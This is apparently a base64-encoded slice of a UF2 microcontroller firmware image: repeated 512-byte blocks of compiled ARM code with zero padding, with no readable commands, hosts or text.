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
MgpXUV2eACAAAACtABAAAQAArQAAAAMBAABW/4vkI9Ejm5pKIp4aQxcAieYKIUpD0hgwOrfnbivf
0KDmlUkfqALwR/sAKADRmeYfm5JJATsfqB+TAvA9+wAoAtEfmwEzH5MAJopPa+aMSAPwJP0GAA8A
ZeYHmwyamxoKkwmbACsB0QabCZMGnBAsAN0QJAuY/fdd+QabBgAPAAkrFd0iAH9LCTrSAJsYGmhb
aP332vgGAA+YDwD990r5AgALADAAOQD996j4BgAPAAabDys53AqbACsA0TPmJN0WKwncb0nbAMkY
MgAIaEloOwD997r4veclIwaamxoKmpNCItsPJAabZk3kGuEAaRgyAAhoSWg7AP33p/gKmxwb5AAs
GQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYy
CldRXZ4AIAAAAK4AEAABAACuAAAAAwEAAFb/i+QiaGNo4+cKmxYzDNsMmweaMACaGlpL0gCbGDkA
GmhbaP33c/iU5wabHBsKm+QYACxy3Q8jIQAZQBxCCtDLAFBJMgDJGAhoSWg7AP33fPgGAA8ADyOc
Q0rQJjP/M5xCIt0AIwaTB5MLkwmTIiMAJgWaP08TYAubs0IA0dLlIJkFmALwBPwJmQWYAvAA/AeZ
BZgC8Pz7C5kFmALw+PsGmQWYAvD0+73lACMwADkANU0kEQiTASwe3AArAdAGAA8AMksyAP8YCJvd
AC5LXRkoaGloOwD99zj4JkssSgYAC0CTQr7YK0qTQhPZASYqT3ZCACMIk4ngASIUQgTQKmhraP33
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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
